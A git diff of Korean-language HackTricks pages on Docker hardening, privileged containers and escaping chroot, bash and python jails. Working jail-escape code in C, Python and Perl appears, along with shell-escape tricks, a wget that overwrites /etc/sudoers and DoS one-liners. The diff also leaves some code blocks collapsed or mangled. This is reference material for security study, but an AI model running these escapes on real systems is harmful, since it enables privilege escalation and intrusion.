- 이 기능을 활성화하면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시는 루트 및 태깅 키에 대한 암호를 설정해야 하며, 도커는 보안을 강화하기 위해 Yubikey도 지원합니다. 자세한 내용은 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
|
||||
- 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 시도하면 "No trust data for latest" 오류가 발생합니다.
|
||||
- 첫 번째 이후의 이미지 푸시에 대해 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
* \*\*도커 콘텐츠 신뢰(Docker Content Trust)\*\*는 이미지 서명을 관리하기 위해 The Update Framework (TUF)를 기반으로 하는 Notary 프로젝트를 활용합니다. 자세한 정보는 [Notary](https://github.com/docker/notary) 및 [TUF](https://theupdateframework.github.io)를 참조하십시오.
|
||||
* 도커 콘텐츠 신뢰를 활성화하려면 `export DOCKER_CONTENT_TRUST=1`을 설정하십시오. 이 기능은 도커 버전 1.10 이후에 기본적으로 꺼져 있습니다.
|
||||
* 이 기능을 활성화하면 서명된 이미지만 다운로드할 수 있습니다. 초기 이미지 푸시는 루트 및 태깅 키에 대한 암호를 설정해야 하며, 도커는 보안을 강화하기 위해 Yubikey도 지원합니다. 자세한 내용은 [여기](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)에서 확인할 수 있습니다.
|
||||
* 콘텐츠 신뢰가 활성화된 상태에서 서명되지 않은 이미지를 가져오려고 시도하면 "No trust data for latest" 오류가 발생합니다.
|
||||
* 첫 번째 이후의 이미지 푸시에 대해 도커는 이미지에 서명하기 위해 저장소 키의 암호를 요청합니다.
|
||||
|
||||
개인 키를 백업하려면 다음 명령을 사용하십시오:
|
||||
|
||||
```bash
|
||||
tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
|
||||
```
|
||||
|
||||
Docker 호스트를 전환할 때는 작업을 유지하기 위해 루트 및 저장소 키를 이동해야 합니다.
|
||||
|
||||
***
|
||||
|
@ -183,15 +195,19 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
Linux 커널 기능인 **cgroups**는 일련의 프로세스 사이에서 **cpu, 메모리, io, 네트워크 대역폭과 같은 리소스를 제한**하는 기능을 제공합니다. 도커는 특정 컨테이너에 대한 리소스 제어를 가능하게 하는 cgroup 기능을 사용하여 컨테이너를 생성할 수 있습니다.\
|
||||
다음은 사용자 공간 메모리가 500m로 제한되고, 커널 메모리가 50m로 제한되며, CPU 공유가 512로, blkioweight가 400으로 설정된 컨테이너입니다. CPU 공유는 컨테이너의 CPU 사용량을 제어하는 비율입니다. 기본값은 1024이며 0에서 1024 사이의 범위를 가집니다. CPU 리소스 충돌이 발생하는 경우 CPU 공유가 1024인 세 개의 컨테이너가 동일한 CPU 공유를 가지고 있다면 각 컨테이너는 CPU의 최대 33%를 사용할 수 있습니다. blkio-weight는 컨테이너의 IO를 제어하는 비율입니다. 기본값은 500이며 10에서 1000 사이의 범위를 가집니다.
|
||||
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
컨테이너의 cgroup을 얻으려면 다음을 수행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container
|
||||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
|
||||
더 많은 정보를 확인하려면:
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
|
@ -256,6 +272,7 @@ Docker에서 권한 부여 플러그인은 Docker 데몬에 대한 요청을 허
|
|||
컨테이너가 사용할 수 있는 리소스를 제대로 제한하지 않으면, 침해당한 컨테이너가 실행 중인 호스트에 DoS를 발생시킬 수 있습니다.
|
||||
|
||||
* CPU DoS
|
||||
|
||||
```bash
|
||||
# stress-ng
|
||||
sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t 5m
|
||||
|
@ -263,10 +280,13 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
|
||||
* 대역폭 DoS
|
||||
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
|
||||
## 흥미로운 Docker 플래그
|
||||
|
||||
### --privileged 플래그
|
||||
|
@ -284,10 +304,13 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
|
|||
공격자가 낮은 권한 사용자로 액세스를 획득한 컨테이너를 실행 중인 경우, **잘못 구성된 suid 이진 파일**이 있는 경우, 공격자는 이를 악용하여 컨테이너 내에서 **권한 상승**을 할 수 있습니다. 이로 인해 컨테이너를 탈출할 수도 있습니다.
|
||||
|
||||
**`no-new-privileges`** 옵션을 활성화하여 컨테이너를 실행하면 이러한 권한 상승을 **방지**할 수 있습니다.
|
||||
|
||||
```
|
||||
docker run -it --security-opt=no-new-privileges:true nonewpriv
|
||||
```
|
||||
|
||||
#### 기타
|
||||
|
||||
```bash
|
||||
#You can manually add/drop capabilities with
|
||||
--cap-add
|
||||
|
@ -302,6 +325,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
|
|||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
|
||||
더 많은 **`--security-opt`** 옵션을 확인하려면 다음을 참조하세요: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
|
||||
|
||||
## 기타 보안 고려 사항
|
||||
|
@ -321,10 +345,13 @@ BuildKit을 활용하기 위해 세 가지 방법으로 활성화할 수 있습
|
|||
3. 도커 구성에서 기본적으로 활성화: `{ "features": { "buildkit": true } }`, 이후 도커 재시작.
|
||||
|
||||
BuildKit은 `--secret` 옵션을 사용하여 빌드 시간 시크릿을 사용할 수 있도록 하며, 이러한 비밀이 이미지 빌드 캐시나 최종 이미지에 포함되지 않도록 보장합니다.
|
||||
|
||||
```bash
|
||||
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
|
||||
```
|
||||
|
||||
실행 중인 컨테이너에서 필요한 비밀은 **Docker Compose와 Kubernetes**이 강력한 솔루션을 제공합니다. Docker Compose는 시크릿 파일을 지정하기 위해 서비스 정의에서 `secrets` 키를 활용하며, 이는 `docker-compose.yml` 예시에서 확인할 수 있습니다:
|
||||
|
||||
```yaml
|
||||
version: "3.7"
|
||||
services:
|
||||
|
@ -337,6 +364,7 @@ secrets:
|
|||
my_secret:
|
||||
file: ./my_secret_file.txt
|
||||
```
|
||||
|
||||
이 구성은 Docker Compose를 사용하여 서비스를 시작할 때 시크릿을 사용할 수 있게 합니다.
|
||||
|
||||
Kubernetes 환경에서는 시크릿이 네이티브로 지원되며 [Helm-Secrets](https://github.com/futuresimple/helm-secrets)와 같은 도구로 더욱 효율적으로 관리할 수 있습니다. Kubernetes의 Role Based Access Controls (RBAC)는 Docker Enterprise와 유사하게 시크릿 관리 보안을 강화합니다.
|
||||
|
@ -360,15 +388,16 @@ Kubernetes 환경에서는 시크릿이 네이티브로 지원되며 [Helm-Secre
|
|||
* [**모든 기능을 삭제하고**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **필요한 것만 활성화하세요** (`--cap-add=...`). 많은 워크로드는 어떤 기능도 필요로 하지 않으며, 추가하면 잠재적인 공격 범위가 증가합니다.
|
||||
* **프로세스가 더 많은 권한을 얻는 것을 방지하기 위해** [**“no-new-privileges” 보안 옵션을 사용하세요**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/). 예를 들어 suid 이진 파일을 통해 권한을 더 얻는 것을 방지합니다.
|
||||
* **컨테이너에 사용 가능한 자원을 제한하세요**. 자원 제한은 머신을 서비스 거부 공격으로부터 보호할 수 있습니다.
|
||||
* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**, **[AppArmor](https://docs.docker.com/engine/security/apparmor/)** **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스템 호출을 필요한 최소한으로 제한하세요.
|
||||
* **[공식 Docker 이미지](https://docs.docker.com/docker-hub/official\_images/)를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하세요.** 백도어가 있는 이미지를 상속하거나 사용하지 마세요. 또한 루트 키, 패스프레이즈를 안전한 위치에 저장하세요. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* [**seccomp**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(또는 SELinux)** 프로필을 조정하여 컨테이너에서 사용 가능한 작업 및 시스템 호출을 필요한 최소한으로 제한하세요.
|
||||
* [**공식 Docker 이미지**](https://docs.docker.com/docker-hub/official\_images/)**를 사용하고 서명을 요구하거나 해당 이미지를 기반으로 직접 빌드하세요.** 백도어가 있는 이미지를 상속하거나 사용하지 마세요. 또한 루트 키, 패스프레이즈를 안전한 위치에 저장하세요. Docker는 UCP를 사용하여 키를 관리할 계획입니다.
|
||||
* **이미지를 정기적으로 다시 빌드하여 호스트 및 이미지에 보안 패치를 적용하세요.**
|
||||
* **시크릿을 현명하게 관리하여 공격자가 액세스하기 어렵게 만드세요.**
|
||||
* **도커 데몬을 노출하는 경우 HTTPS를 사용하세요**. 클라이언트 및 서버 인증을 사용합니다.
|
||||
* **Dockerfile에서는 ADD 대신 COPY를 선호하세요**. ADD는 자동으로 압축 해제하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 합니다.
|
||||
* **각 마이크로 서비스에 대해 별도의 컨테이너를 사용하세요.**
|
||||
* **컨테이너 이미지를 더 작게 유지하세요.**
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
|
|
|
@ -7,8 +7,8 @@
|
|||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* \*\*[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*에 PR을 제출하여 여러분의 해킹 기교를 공유해주세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -21,13 +21,15 @@
|
|||
특권이 부여된 컨테이너에서는 모든 **장치에 `/dev/`에서 접근**할 수 있습니다. 따라서 호스트의 디스크를 **마운트**하여 **탈출**할 수 있습니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="기본 컨테이너 내부" %}
|
||||
{% tab title="undefined" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
ls /dev
|
||||
console fd mqueue ptmx random stderr stdout urandom
|
||||
core full null pts shm stdin tty zero
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="권한이 부여된 컨테이너 내부" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
|
@ -46,7 +48,7 @@ cpu nbd0 pts stdout tty27
|
|||
커널 파일 시스템은 프로세스가 커널의 동작을 수정하는 메커니즘을 제공합니다. 그러나 컨테이너 프로세스의 경우 커널에 대한 모든 변경을 방지하고자 합니다. 따라서 컨테이너 내에서 커널 파일 시스템을 **읽기 전용**으로 마운트하여 컨테이너 프로세스가 커널을 수정할 수 없도록 합니다.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="기본 컨테이너 내부" %}
|
||||
{% tab title="undefined" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep '(ro'
|
||||
|
@ -55,6 +57,8 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
|
|||
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
|
||||
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="권한이 부여된 컨테이너 내부" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
|
@ -72,7 +76,7 @@ mount | grep '(ro'
|
|||
{% endhint %}
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="기본 컨테이너 내부" %}
|
||||
{% tab title="undefined" %}
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
mount | grep /proc.*tmpfs
|
||||
|
@ -80,6 +84,8 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
|
|||
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="권한이 부여된 컨테이너 내부" %}
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
|
@ -135,25 +141,26 @@ docker run --cap-drop=SYS_ADMIN <image>
|
|||
```
|
||||
|
||||
By manipulating the capabilities of a container, you can control the level of access it has to the host system. This can be useful for hardening the security of your Docker environment.
|
||||
|
||||
```bash
|
||||
# docker run --rm -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 2
|
||||
Seccomp_filters: 1
|
||||
```
|
||||
{% tab title="권한이 부여된 컨테이너 내부" %}
|
||||
|
||||
```bash
|
||||
# docker run --rm --privileged -it alpine sh
|
||||
grep Seccomp /proc/1/status
|
||||
Seccomp: 0
|
||||
Seccomp_filters: 0
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt seccomp=unconfined
|
||||
```
|
||||
|
||||
또한, Docker (또는 다른 CRIs)가 **Kubernetes** 클러스터에서 사용될 때, **seccomp 필터는 기본적으로 비활성화**됩니다.
|
||||
|
||||
### AppArmor
|
||||
|
@ -163,10 +170,12 @@ Seccomp_filters: 0
|
|||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable seccomp in docker with
|
||||
--security-opt apparmor=unconfined
|
||||
```
|
||||
|
||||
### SELinux
|
||||
|
||||
`--privileged` 플래그를 사용하여 컨테이너를 실행하면 **SELinux 레이블**이 비활성화되어 컨테이너 엔진의 레이블을 상속하게 됩니다. 일반적으로 `unconfined`로 설정되어 컨테이너 엔진과 유사한 완전한 액세스 권한을 부여합니다. 루트리스 모드에서는 `container_runtime_t`를 사용하고 루트 모드에서는 `spc_t`가 적용됩니다.
|
||||
|
@ -174,10 +183,12 @@ Seccomp_filters: 0
|
|||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
# You can manually disable selinux in docker with
|
||||
--security-opt label:disable
|
||||
```
|
||||
|
||||
## 영향을 주지 않는 요소
|
||||
|
||||
### 네임스페이스
|
||||
|
@ -223,7 +234,7 @@ PID USER TIME COMMAND
|
|||
* **사이버 보안 회사**에서 일하고 계신가요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* \*\*[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)\*\*에 PR을 제출하여 여러분의 해킹 기법을 공유해주세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# 감옥에서 탈출하기
|
||||
# Escaping from Jails
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -40,24 +40,14 @@ chroot 내에서 **root** 권한을 가지고 있다면 **다른 chroot를 생
|
|||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
\`\`\`c #include #include #include
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -72,22 +62,16 @@ for i in range(1000):
|
|||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>펄 (Perl)</summary>
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
|
||||
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||
|
||||
</details>
|
||||
|
||||
### 루트 + 저장된 fd
|
||||
|
@ -99,31 +83,20 @@ system("/bin/bash");
|
|||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
\`\`\`c #include #include #include
|
||||
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (유닉스 도메인 소켓)
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
FD는 유닉스 도메인 소켓을 통해 전달될 수 있으므로:
|
||||
|
||||
* 자식 프로세스 생성 (fork)
|
||||
|
@ -132,39 +105,48 @@ FD는 유닉스 도메인 소켓을 통해 전달될 수 있으므로:
|
|||
* 부모 프로세스에서 새로운 자식 프로세스 chroot 외부의 폴더의 FD 생성
|
||||
* UDS를 사용하여 그 FD를 자식 프로세스에 전달
|
||||
* 자식 프로세스는 해당 FD로 chdir하고, chroot 외부에 있기 때문에 감옥에서 탈출할 수 있음
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
###  Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* 루트 장치 (/)를 chroot 내부의 디렉토리에 마운트
|
||||
* 해당 디렉토리로 chroot
|
||||
|
||||
이것은 Linux에서 가능합니다.
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### Root + /proc
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* chroot 내부의 디렉토리에 procfs 마운트 (아직 마운트되지 않은 경우)
|
||||
* /proc/1/root와 같이 루트/현재 작업 디렉토리 항목이 다른 pid를 찾습니다.
|
||||
* 해당 항목으로 chroot
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Fork(자식 프로세스)를 생성하고, FS 내부의 다른 폴더로 chroot하고 해당 폴더로 CD합니다.
|
||||
* 부모 프로세스에서 자식 프로세스가 있는 폴더를 chroot 이전 폴더로 이동합니다.
|
||||
* 이 자식 프로세스는 chroot 외부에서 자신을 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
### ptrace
|
||||
|
||||
{% hint style="warning" %}
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* 이전에 사용자는 자신의 프로세스를 자체 프로세스에서 디버그할 수 있었습니다. 그러나 이제는 기본적으로 불가능합니다.
|
||||
* 그래도 가능한 경우, 프로세스에 ptrace를 사용하여 셸코드를 실행할 수 있습니다 ([예제 참조](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
## Bash 감옥
|
||||
|
||||
|
@ -177,51 +159,59 @@ echo $PATH
|
|||
env
|
||||
export
|
||||
pwd
|
||||
```
|
||||
### PATH 수정
|
||||
````
|
||||
|
||||
#### PATH 수정
|
||||
|
||||
PATH 환경 변수를 수정할 수 있는지 확인합니다.
|
||||
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
### vim 사용하기
|
||||
|
||||
#### vim 사용하기
|
||||
|
||||
Vim은 강력한 텍스트 편집기로, 제한된 bash 환경에서 특권 상승을 위해 사용될 수 있습니다. 다음은 vim을 사용하여 특정 파일을 편집하는 방법입니다.
|
||||
|
||||
1. Vim을 실행하려면 다음 명령을 입력합니다.
|
||||
|
||||
```bash
|
||||
vim [파일명]
|
||||
```
|
||||
|
||||
2. Vim 편집기가 열리면 `i`를 눌러 편집 모드로 전환합니다.
|
||||
|
||||
3. 파일을 편집합니다.
|
||||
|
||||
4. 편집이 완료되면 `Esc` 키를 누르고 `:wq`를 입력하여 저장하고 종료합니다.
|
||||
|
||||
이제 Vim을 사용하여 제한된 bash 환경에서 파일을 편집할 수 있습니다.
|
||||
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### 스크립트 생성
|
||||
|
||||
_/bin/bash_를 내용으로 하는 실행 가능한 파일을 생성할 수 있는지 확인합니다.
|
||||
#### 스크립트 생성
|
||||
|
||||
\_/bin/bash\_를 내용으로 하는 실행 가능한 파일을 생성할 수 있는지 확인합니다.
|
||||
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### SSH를 통해 bash 얻기
|
||||
|
||||
#### SSH를 통해 bash 얻기
|
||||
|
||||
SSH를 통해 접근하는 경우 다음 트릭을 사용하여 bash 쉘을 실행할 수 있습니다:
|
||||
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
### 선언
|
||||
|
||||
#### 선언
|
||||
|
||||
Bash에서 변수를 선언하는 방법은 다음과 같습니다:
|
||||
|
||||
|
@ -252,47 +242,46 @@ echo $name
|
|||
```bash
|
||||
unset name
|
||||
```
|
||||
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
### Wget
|
||||
|
||||
#### Wget
|
||||
|
||||
예를 들어 sudoers 파일을 덮어쓸 수 있습니다.
|
||||
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
### 기타 트릭
|
||||
|
||||
#### 기타 트릭
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells\*\*]\(https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io/\*\*]\(https/gtfobins.github.io)\
|
||||
**다음 페이지도 흥미로울 수 있습니다:**
|
||||
|
||||
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Python Jails
|
||||
### Python Jails
|
||||
|
||||
다음 페이지에서 파이썬 감옥에서 탈출하는 트릭을 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
